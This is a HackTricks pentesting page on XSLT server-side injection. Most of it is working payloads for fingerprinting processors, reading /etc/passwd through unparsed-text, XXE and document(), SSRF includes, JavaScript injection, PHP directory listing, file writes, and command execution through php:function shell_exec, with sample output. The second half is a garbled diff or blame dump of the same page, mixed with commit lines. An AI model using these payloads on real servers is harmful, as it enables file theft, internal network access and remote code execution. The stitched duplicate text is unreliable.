hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

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## Basic Information

XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.

The frameworks that are most frequently used include:

- **Libxslt** from Gnome,
- **Xalan** from Apache,
- **Saxon** from Saxonica.

For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).

## Example - Tutorial

```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```

{% code title="xml.xml" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>
```
{% endcode %}

{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    <html>
    <body>
    <h2>The Super title</h2>
    <table border="1">
        <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
        </tr>
        <tr>
        <td><xsl:value-of select="catalog/cd/title"/></td>
        <td><xsl:value-of select="catalog/cd/artist"/></td>
        </tr>
    </table>
    </body>
    </html>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

Execute:

```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
 
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
   <body>
      <h2>The Super title</h2>
      <table border="1">
         <tr bgcolor="#9acd32">
            <th>Title</th>
            <th>artist</th>
         </tr>
         <tr>
            <td>CD Title</td>
            <td>The artist</td>
         </tr>
      </table>
   </body>
</html>
```

### Fingerprint

{% code title="detection.xsl" %}
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

And execute

```xml
$saxonb-xslt -xsl:detection.xsl xml.xml 

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```

### Read Local File

{% code title="read.xsl" %}
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

```xml
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

### SSRF

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```

### Versions

There might be more or less functions depending on the XSLT version used:

* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)

## Fingerprint

Upload this and take information

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>
```

## SSRF

```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```

## Javascript Injection

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```

## Directory listing (PHP)

### **Opendir + readdir**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```

### **Assert (var\_dump + scandir + false)**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
        <br />
    </body>
</html>
```

## Read files

### **Internal - PHP**

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```

### **Internal - XXE**

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```

### **Through HTTP**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```

### **Internal (PHP-function)**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
        <br />
    </body>
</html>
```

### Port scan

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```

## Write to a file

### XSLT 2.0

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```

### **Xalan-J extension**

```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```

Other ways to write files in the PDF

## Include external XSL

```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```

```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```

## Execute code

### **php:function**

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```

Execute code using other frameworks in the PDF

### **More Languages**

**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**

## **Access PHP static functions from classes**

The following function will call the static method `stringToUrl` of the class XSL:

```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```

(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))

## More Payloads
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)

## **Brute-Force Detection List**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

## **References**

* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)

<details>

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</details>
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
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 								<details>
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+								<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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+								* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 								* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 								* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-												update twitter

											
										
										
											2023-04-25 18:35:28 +00:00
+								* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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+								* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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 								</details>
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											2024-02-06 03:10:38 +00:00
+								## Basic Information
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								The frameworks that are most frequently used include:
 								- **Libxslt** from Gnome,
 								- **Xalan** from Apache,
 								- **Saxon** from Saxonica.
 								For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
-												GitBook: [master] one page modified
											
										
										
											2020-09-04 16:48:26 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## Example - Tutorial
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-												GitBook: [#3540] No subject

											
										
										
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+								```bash
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+								sudo apt-get install default-jdk
-												GitBook: [#3540] No subject

											
										
										
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+								sudo apt-get install libsaxonb-java libsaxon-java
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								```
 								{% code title="xml.xml" %}
-												a

											
										
										
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+								```xml
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+								<?xml version="1.0" encoding="UTF-8"?>
 								<catalog>
 								    <cd>
 								        <title>CD Title</title>
 								        <artist>The artist</artist>
 								        <company>Da Company</company>
 								        <price>10000</price>
 								        <year>1760</year>
 								    </cd>
 								</catalog>
 								```
 								{% endcode %}
 								{% code title="xsl.xsl" %}
-												a

											
										
										
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+								```xml
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+								<?xml version="1.0" encoding="UTF-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								    <html>
 								    <body>
 								    <h2>The Super title</h2>
 								    <table border="1">
 								        <tr bgcolor="#9acd32">
 								            <th>Title</th>
 								            <th>artist</th>
 								        </tr>
 								        <tr>
 								        <td><xsl:value-of select="catalog/cd/title"/></td>
 								        <td><xsl:value-of select="catalog/cd/artist"/></td>
 								        </tr>
 								    </table>
 								    </body>
 								    </html>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
 								Execute:
-												a

											
										
										
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+								```xml
 								saxonb-xslt -xsl:xsl.xsl xml.xml
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											2021-06-07 11:31:39 +00:00
 								Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
 								  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<html>
 								   <body>
 								      <h2>The Super title</h2>
 								      <table border="1">
 								         <tr bgcolor="#9acd32">
 								            <th>Title</th>
 								            <th>artist</th>
 								         </tr>
 								         <tr>
 								            <td>CD Title</td>
 								            <td>The artist</td>
 								         </tr>
 								      </table>
 								   </body>
 								</html>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								### Fingerprint
-												GitBook: [master] 478 pages modified
											
										
										
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 								{% code title="detection.xsl" %}
-												a

											
										
										
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+								```xml
-												GitBook: [#3540] No subject

											
										
										
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+								<?xml version="1.0" encoding="ISO-8859-1"?>
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+								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
-												GitBook: [#3540] No subject

											
										
										
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+								 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								 <xsl:if test="system-property('xsl:product-name')">
 								 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:product-version')">
 								 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:is-schema-aware')">
 								 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:supports-serialization')">
 								 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
 								/><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
 								/><br />
 								 </xsl:if>
-												GitBook: [master] 478 pages modified
											
										
										
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+								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
 								And execute
-												a

											
										
										
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+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
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+								$saxonb-xslt -xsl:detection.xsl xml.xml
 								Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
 								  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								### Read Local File
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 								{% code title="read.xsl" %}
-												a

											
										
										
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+								```xml
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+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
-												a

											
										
										
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+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
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+								$ saxonb-xslt -xsl:read.xsl xml.xml
 								Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
 								  Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
 								<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
 								daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 								bin:x:2:2:bin:/bin:/usr/sbin/nologin
 								sys:x:3:3:sys:/dev:/usr/sbin/nologin
 								sync:x:4:65534:sync:/bin:/bin/sync
 								games:x:5:60:games:/usr/games:/usr/sbin/nologin
 								man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 								lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### SSRF
-												GitBook: [master] 478 pages modified
											
										
										
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-												a

											
										
										
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+								```xml
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+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:include href="http://127.0.0.1:8000/xslt"/>
 								<xsl:template match="/">
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### Versions
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 								There might be more or less functions depending on the XSLT version used:
 								* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
 								* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
 								* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## Fingerprint
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
 								Upload this and take information
-												a

											
										
										
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+								```xml
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+								<?xml version="1.0" encoding="ISO-8859-1"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								 <xsl:if test="system-property('xsl:product-name')">
 								 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:product-version')">
 								 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:is-schema-aware')">
 								 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:supports-serialization')">
 								 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
 								/><br />
 								 </xsl:if>
 								 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
 								/><br />
 								 </xsl:if>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## SSRF
-												GitBook: [master] one page modified
											
										
										
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-												a

											
										
										
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+								```xml
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+								<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
 								</esi:include>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								## Javascript Injection
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-												a

											
										
										
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+								```xml
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											2020-07-15 15:43:14 +00:00
+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<script>confirm("We're good");</script>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## Directory listing (PHP)
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-												GitBook: [#3540] No subject

											
										
										
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+								### **Opendir + readdir**
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-												a

											
										
										
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+								```xml
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+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								</xsl:template></xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Assert (var\_dump + scandir + false)**
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-												a

											
										
										
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+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
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+								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
 								        <br />
 								    </body>
 								</html>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								## Read files
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Internal - PHP**
-												GitBook: [master] 478 pages modified
											
										
										
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-												a

											
										
										
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+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
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+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Internal - XXE**
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											2020-07-15 15:43:14 +00:00
-												a

											
										
										
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+								```xml
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+								<?xml version="1.0" encoding="utf-8"?>
 								<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								&ext_file;
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Through HTTP**
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-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<xsl:value-of select="document('/etc/passwd')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<!DOCTYPE xsl:stylesheet [
 								<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
 								<xsl:template match="/">
 								&passwd;
 								</xsl:template>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Internal (PHP-function)**
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-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
